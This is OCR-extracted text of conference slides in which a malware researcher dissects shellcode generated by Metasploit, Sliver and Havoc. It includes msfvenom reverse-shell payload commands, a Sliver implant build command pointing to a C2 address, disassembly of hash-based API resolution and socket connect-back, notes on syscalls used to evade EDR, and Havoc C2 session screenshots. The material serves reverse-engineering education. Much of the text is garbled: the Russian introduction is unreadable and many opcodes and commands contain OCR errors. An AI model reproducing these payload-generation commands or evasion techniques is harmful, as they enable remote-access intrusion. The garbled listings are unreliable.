PIC generated by ‘evil’ frameworks
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A year ago in a galaxy far away

legezo 3 aBr 2022 B 18:29

B3rnaa c 06paTHON CTOPOHbI: KAK CMOTPUT Ha KO peBepcep

bnor komnaHun «Jlabopatopusa Kacnepckoro», MHpopmaymnoHHaa 6eszonacHocTb*, NporpammupoBaHune*, C++*,

PeBepC-UHXUHUPUHT*

JNlyyqwmn TexHoastop 2022

lMpuBet! MeHs 30ByT [leHuc, s1 Lead Security Researcher B yeHtpe Global Research & Analysis
Team (GReAT) — noagpasgeneHun «J/labopatopum Kacrepckoro», KOTopoe 3aHUMAaeTcs
LiesieBbIMU BpeoHOCaMUn. 3TO 3HAYUT, YTO UX aBTOPbI HE PaccChl/laloT TPOSIHbI BCEM roapsia, a
TLATEe/IbHO BbIGMpParoT CBOU OpraHu3aunmn->xeptBbl. MIHorga nx «rnpoayKTbl» HarnncaHbl
UHTEPECHO.

Mbi B GReAT B 6yKBa/7bHOM CMbICJie CJ/ioBa rogamu cjiegmMm 3a KOMaHOaMU, KOTopble NMuLlyT Takoe,

[eTasibHO pa3bupaemM mx 3710, opMUPYyeEM OTYETbI /151 3aKa34YUKOB, MJIHI0OC MHOrAa NoaKuAbIBas
vaeuv v rnpoayKToBbIM KOMaHAaM.




Our plan for the next 50 mins

» What the heck is PIC? What the shellcodes are?
 PIC generation - do we have to write it by our own?
o metasploit
o sliver
o havoc
» ARM64/x64 Windows/Linux PIC analysis

» Main takeaways




Meta What? LD = ~/cpp2023

» msfvenom -p windows/x64/shell/reverse_tcp -e

X64/xor_dynamic > rs_meter_x64_xor

Found 1 compatible encoders p—

#+# #+#

-&--v—-A—

Attempting to encode payload with 1 |terat|ons ’6f

.........

X64/xor_dynamic Metasploit

=[ metasploit v6.3.2-dev

x64/xor_dynamic succeeded Wﬁﬁ%f@g‘g@@ (iteration {@OTT

9 evasion

x64/xor_dynamic chosen V\/I’thﬁﬁnalrste”Sﬁo astart T s e

environn @n 1]11“
kuc ploit Documentation: https://docs.metasploit.com/

msf6 > |

e b bed d

Payload size: 560 bytes




How big is 212 bytes of code?

« msfvenom -p windows/x64/shell/reverse_tcp > rs_meter_x64
» msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp > rs_meter_aarch64
» Is-lah

-rw-r-r-- 1dd 212 May 12 10:00 rs_meter_aarch64

-rw-r-r—- 1dd 510 May 12 10:00 rs_meter_x64




The insides of x64 shellcode

« msfvenom -p windows/x64/shell/reverse_tcp > rs_meter_x64
» objdump -b binary -m i386 -D rs_meter_x64
+ 00000000 <.data>:

00 fc cld
01 48 dec %eax
02 83e4f0 and SOxfffffff0,%esp

05 e8cc000000 call Oxde

OA 41 INC %ecx




Automatic memory tricks

00 FC cld

01 48 83 E4 FO and rsp, OFFFFFFFFFFFFFFFON
05 E8 CC 00 00 00 call firstFunc

D6 5D pop rbp ; firstFunc

D7/ 49BE7/7773325F+ mov r14,'23_2sw’




Know your RVA

102 41 BA4C 772607 mov r10d, /267/4Ch
108 FF D5 call rbp

CALL PUSH R9 Y | POPRBP/CALL RBP

~ A

0A 41 51 push r9
0C 4150 push r8
OE Y push rdx




19
1D
2
25

No API - no Windows?

48 31 D2 xor  rdx, rdx
6548 8B 5260 mov rdx, gs:[rdx+60h

48 8B 52 18 mov rdx, [rdx+PEB.Ldr!

48 8B 52 20 mov rdx, [rdx+PEB_LD
48 8B 72 50 mov rsi, [rdx+LDR_DA

48 OF B7 4A 4A movzx rcx, [rdx+LDR_DATA_TABLE_ENTRY.FullDIIName.MaximumLength]

R_DATA.InMemoryQrc

"A_TABLE_ENTRY.Ful

erModuleList.Flink]
DIIName.Buffer]




Let's count the hash

QAT

48 310apital A

Bk42 AR Capital B

B%43
33
B5%61
BX62
BB63
3E

3C 671Capital C
/C 02

28 2Gmall a
43 CBeH0Db
44 01861l c
E2 ED

XOr rax, rax
lodsb

cmp al 'a

jl short caps
sub al, 20h

ror r9d, ODh
add r9d, eax

loop counter

, counter

WTFE?
; caps

: count hash




..and read the code

102 41 BA4C 77 2607 mov r10d, 726774Ch ; LoadL

113 41 BA29806B 00 mov r10d, 6B8029h ; WSAStartup
133 41 BA EA OF DF EO mov r10d, OEODFOFEAh ; WSASocketA
148 41 BA 99 A574 61 mov r10d, 6174A599h ; connect

16F 41 BA 02 D9 C8 5F mov r10d, SFC8D902h ; recv

194 41 BA 58 A4 53 E5 mov r10d, OE553A458h ; VirtualAlloc

1C9 41 BA OB 2F OF 30 mov r10d, 300F2FOBh : VirtualFr



The overall shellcode flow
Startimplant

( Prepare LoadLibraryA arguments for ws2_32
Call ResolveLaunchByHash )

Repeat for

ResolveLaunchByHash WSAStartup
WSASocketA

Parse PEB connect

Find library recv

Find API function VirtualAlloc

Call function
Launch received code

Repeat for VirtualFree and closesocket




Let's add some self-defense

« msfvenom -p windows/x64/shell/reverse_tcp -e x64/xor_dynamic > rs_m 4_xor

00 EB 27 jmp short loc_29
29 E8 D4 FF FF FF call sub_2
2E 13 8F EF 5B 90 F7 adc ecx, [rdi-86FA411h]

34 E3 FB jrcxz near ptrloc_2E+3




What did this xor/dynamic?

02
03
04
05
0/
08
09
OB
0C

oB
53
oF
BO 8F
FC
a\=
/5 FD
S5/
59

pop rbx ; OX2E RVA
push rbx

pop rdi ; OX2E RVA
mov al, 8Fh

cld

scasb ; search_for_8F

jnz short search_for_8F

push rdi ; OX8F byte RVA
DOP rcx ; OX8F byte RVA




The decryption algorithm

OD 53 push rbx

OE SE pop rsi ; OX2E RVA
OF 8A 06 mov al, [rsi] ;first byte
11 30 07 xor [rdi], al ; decrypt
13 48 FF C7/ inc rdi

16 48 FF C6 InCc rsi

19 66 81 3F 9E 2B cmp word ptr [rdi], 2B9Eh ; enc end
1E 74 07 jz short dec_is_over




Decrypted

» The keyis 0x13
» 138FEFS5BO90F/E3FBDF 1313135242 524341 3B ..

2F
30
3

35
3A
3C

9C

FC

48 83 E4 FO

ES CC 00 00 00
41 51

41 50

pushfq

cld

and rsp, OFFFFFFFFFFFFFFFOR
call sub_106

push r9

push r8




The encoded shellcode flow

Call Decryptor

Decryptor
encrypted call Startimplant, ResolveLaunchByHash

Read key (all our previous flow is here)

Decrypt
Move RIP to decrypted




Sum up the x64 PIC techniques

» CALL/POP to get the RVA

« Keep readables on stack, messing up with opcodes
+ Look for libraries using OS structures / PEB
» Parse PE32+ binaries in RAM

» Dynamically resolve API by hashes




ARM world is upon us

» msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp > rs_meter=
» aarch64-linux-gnu-objdump -b binary -m aarch64 -D rs_meter_aarch64
- 0000000000000000 <.data>:
00 d2800040 mov X0, #0x2
04 d2800021 mov X1, #0x1
08 d2800002 mov  x2, #0x0
0C d28018c8 mov X8, #0xc6
10 d4000001 svc #0x0




Smaller. And easier

00 40 00 80 D2 MOV X0, #2
04 210080 D2 MOV X1, #1
038 02 00 80 D2 MOV X2, #0
0OC C81880D2 MOV X8, #198

; arm64 Linux (msfvenom args)
; https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/unis
10 01 00 00 D4 SVC 0 ; Supervisor call




No Windows, no cry

» grep <num> /usr/include/asm/unistd.h

1908 __NR_socket

203 __NR_connect

63 __NR_read

222 __NR3264_mmap

93 __NR_exit




And the socket appears

00 400080D2 MOV X0, #AF_INET

04 210080D2 MOV X1, #SOCK_STREAM

08 020080D2 MOV X2, #IPPROTO_IP

OC C81880D2 MOV X8, #__NR_socket ; system call code

10 010000D4 SVC 0 ; Supervisor call socket()




Even some “data section”

14 EC 03 00 AA MOV X12, X0 ; socket handler
18 A1050010 ADR X1,sa ;sockaddr_in*
1C  020280D2 MOV X2, #16 ; sockaddr len
20 68 19 80 D2 MOV X8, #__NR_connect

24 010000 D4 SVC 0

28 C0 04 00 35 CBNZ WO, exit0




The “data section” content

00 sockaddr_in

00 sin_family DCW  AF_INET

02 sin_port DCW Ox5c¢c11 » 4444
04 sin_addr  in_addr 0x7F000001 ; 12/.0.0.1
08 sin_zero DCB 8

10 sockaddr_in ends




Sum up the aarch64 techniques

» Return address on register (LR, link register), not stack
» Automatic stack memory - no tricks
» Dynamic heap memory - no tricks

» Direct syscalls allow us to avoid system object parsing to get API




Time to sliver

‘"Q’e’ﬁﬁ'@'t'e' '§1i6?g"'::|nQ'STT9]%1'68'?&'32'--;0rotoco| http --save ~/cpp2023

L SH3h S 1 N2 1 OO T a7 11 00

! wxiie1d'd -1-'R'Mé;l‘.%1"'eb'c"'k USED_MILKSHAKE

! lobjdump=b bimaafrry@em 1386 -M intel -D CONFUSED_MILKSHAKE
[*] Sérver v1.5.33 - cé213edab44d33b2c232e0b8dc6c38f7fdabeee?

[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command

[server] sliver > §§




Quite the same under the hood

 Familiar calls and hashes, but with winhttp library

DB mov r14, ptthniw’
ES push r14
E/ MoV IcxX, rsp

EA mov r10, 7/26774Ch




Mix of code and data

» Familiar calls and hashes, but with winhttp library (block_reverse_wi

111 call loc_132

116 text "UTF-16LE", '192.168.20.32

132 pop rdx

140 mov r10, 0C21E9B46h ; WinHttpConnect

14A call rbp




Where is a life without API!

import "syscall’

var (

kernel32 = syscall.MustLoadDLL("kernel32.dII")
ntdll = syscall.MustLoadDLL("ntdIl.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")

VirtualProtect = syscall.NewlLazyDLL("kernel32.dll").NewProc("VirtualProtect"

RtIMoveMemory = ntdll.MustFindProc("RtIMoveMemory")

)



No user space for EDR

Windows user mode
(Ring 3)

Windows API Windows API Native API

Malware.exe _ _ ;
CreateFileW() CreateFileW() NtCreateFile()

Kernel32.dll Kernelbase.dll Ntdll.dll
Execute
System Call

Windows kernel mode
(Ring 0) Execute
KiSystemCall64

System Service Descriptor Table
Execute (SSDT)

NtCreateFile() Compare or search for respective
Function Code executed function code of NtCreateFile()




ntdll!NtAllocateVirtualMemory

/FFB6F33AC80 4C 8B D1 mov r10, rcx

/FFB6F33AC83 B8 18 00 00 00 mov eax, 18

7FFB6F33AC88 F6 042508 03 FE7F 01 test byte ptr ds:[7FFE0308], 1
/FFB6F33AC90 7503 jne ntdll.7FFB6F33AC95
/FFB6F33AC92 OF 05 syscall

/FFB6F33AC94 C3 ret




No obfuscation options

generate —-http 192.168.20.32 --save . -f shellcode --os windows

--skip-symbols --disable-sgn

[*] Generating new windows/amd64 implant binary
['] Symbol obfuscation is disabled

[*] Build completed in 1s

['] Shikata ga nai encoder is disabled

[*] Implant saved to /home/d/cpp2023/ENERGETIC_LAMB.bin




Sum up the sliver techniques

+ Familiar hashing, algorithms could differ

» Again keep readables on stack, messing up with opcodes

» Mixing the code and data
» Syscalls exist even under Windows. To fool user mode EDR for sure

» They are OS version specific

« Attacker creates in a minutes, researcher could meditate for weeks




Havoc framework

./havoc client

. InstaII dependenmes bUI|d team server, client, GUI generation

» sudo ./havoc server --proflle ./profiles/havoc.yaotl -v --debug

. /havoc cllent

¢ IS Iah and elevate until 1t's done

etwr-r- 1 did. 80K May 1 Jpﬁléééc mplant’Aavok_x64

[18:45:40] [info] Havoc Application status




Precious GUI this time

g 2 Connect

New Profile

havoc teamserver.

cpp2023
Name:

Host:
Port:

User:

cpp2023

Havoc connection dialog. Connect to a

127.0.0.1

40056

Password: @

Havoc View Attack Scripts Help

‘Mu & denon_https .exe\5600 571be9a8 @ demon_smb.exe\3528

I SPIDER-PC\pparker] [TALON-DC\Admini strator]
=

=
T \
99650 € denon_https. exe\1684

- 473b3afc & denon_snb.
[SPIDER-PC\pparker] =. LCTALON-DC\Adwinist
=
= 43df9466 @ demon_smb. exe\7452

[SPIDER-PC\pparker]

4dsb1ff4 € demon_https. exe\5748
[DESKTOP-CU4FEST\Spider]

Connect

\96
r]

Teamserver Chat X  [6a399650] pparker/SPIDER-PC X  [64428d94] pparker/SPIDER-PC X [473b3afc] Administrator/TALON-DC

Agent 61 from as TALON-DC\ 11 (Internal: 172.16,134.129] [Process:
i Denon » whoami

] {76 Tasked demon to get the info fram whoami /all without starting cnd.exe

[+] Send Task to Agent [6911 bytes]

[+] Received Output (6751 bytes]):

Attributes

50068 € demon_srib. exe\5900
[SPIDER-PC\pparker]

Event Viewer X

[*) Started "Agent Listener - HTTP/s" listener
[*] Started "Pivot - Ssb" listener

6 [+] Spider connected to teamserver
[*] Initialized 60899650 :: pparker@172.16.134.130 (SPIOFR-PC)
[*] Initialized 64428494 :: pparker®172.16.134.130
it} 571bedas .16.
[] Initialized 43df9466 :: pparker®172.16.134.
[*] Initialized 4dSb1ffs :: Spidere172.16.134.1
- 473b3afc
[*] Initialized 15850068
[*] Initialized 61832438 ::

pparker@172.16.134.130 (SPI0ER
Administratore172.16.134.129 (T

61832438 @ demon_smb. exe\3192
[TALON-DC\Administrator]

X [S71besas] Adwinistrator/TALN-DC X | [61832438) Administrator/TALON-DC X |

192) [Arch: x64] [Pivot: 473b3afc-o-<-61832438] |

UserNane sI0

TALS i 5~ 7

GROUP INFORMATION Type s10

TALON\Domain Users Group 5-1-5-21-3615481361-3807944923-1972220814-513

Everyone Well-known group 5-1-1-0

BUILTIN\Administrators 5-1-5-32-544

BUILTINWsers Alias 5-1-5-32-545

BUILTIN\Pre-Windows 2000 Compatible Access Alias 5-1-5-32-554

BUILTIM\Certificate Service DCOM Access Alias 5-1-5-32-574

NT ITY\INTERACTIVE ell-known group 5-1-5-4

CONSOLE LOGON Well-known group 5-1-2-1
AUTHORITY\Authenticated Users Well-knonn group 5-1-5-11

NT AUTHORITY\This Organization Well-known group 5-1-5-15

LOCAL ell-known group 5-1-2-0

TALONGroup Policy Creator Owners Group

TALON\Domain Adwins Group 5-1-5-21-3615481361-3807944923-1972220814-512

TALON\Enterprise Adains Group 1-5-21

TALOW\Schema Adwins Group

Authentication authority asserted identity Well-known group 5-1-18-1

TALON\Denied RODC Password Replication Group Alias s5-1 3

Mandatory Lobel\High Mandatory Level Lobel 5-1-16-12288

Privilege Nome Description Stote

[Administrator/TALON-DC] demon_seb.exe/3192 x64 (TALON.local)

>

Mandatory group,
Mandatory group,

Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,
Mandatory group,

Encbled by default,
Enobled by default,

. Enabled by default,

Enabled by default,
Encbled by default,
Enabled by defoult,
Encbled by default,
€nabled by default,
Encbled by default,
Encbled by default,
Enabled by default,
Encbled by default,
Enabled by default,
Encbled by default,
Encbled by default,
€ncbled by default,
Enabled by default,
Enabled by default,

Enabled group,
Enabled group,
Enabled group, Group owner,

Enabled group,
Enabled group,
Enabled group,
Enabled grovp,
Enabled group,
Enabled group,
Enabled group,
Enabled group,
Enabled group,
Enabled group,
Enabled group,
Enabled group,

Agent: |Demon

Listener:

Arch x64

Config

Sleep
— Jitter

Sleep Technique
v~ Injection

— Alloc

Building Console

Payload v A X
v
Options
listenerl v
A4
Format Windows Shellcode v
Value A
2
15
Indirect Syscall
WaitForSingleObjectEx v
Native/Syscall v
v




Oldy but goldy

340 E800 000000 call S+5

345 59 POp rcx

346 48 31 DB xor rbx, rbx :search_for_MZ

349 BB 4D 5A 0000 mov ebx, ZM

34E 48 FF C1 INC rcx

351 3E663B19 cmp bx, word ptr (loc_345 - 345h)[rcx]

355 7/5EF jnz short search_for_MZ



Nothing bad in ntdil.dIl

62
6/
6A
6D
/2
75

BA 43 6A 45 9E
48 89 C3
48 89 C1
ES 4F 02 00 00
48 89 D9
BA EC B8 83 F/

mov edx, 9E456A43h ;: LdrLoadDIl
mov rbx, rax

MOV  rcCx, rax

call getFunction

MOV  rcx, rbx
mov edx, OF/83B8ECh ; NtAllocateVirtualMemory




Sum up the havoc techniques

»+ Hugest file we generate so far (sliver could compile bigger with Go)

- We observed classy call $+5 / pop
 Add here and unneeded bytes among the code to full the tools

» It's up to red teaming tool to choose the level: Windows API (kernel32), Native

API (ntdll) or direct/indirect syscalls

» Seems like we really need automation to analyze all of it




And what about C++?

 Useful for program debugging, even C++ ones
- ..and for performance issues: embedded world, any other HPC
» Abnormal programming is fun

o Could be a good way to take a look at high-level languages under the hoods
* One of the rare fields where code have to be compact

o Purists could enjoy the beauty of shellcodes




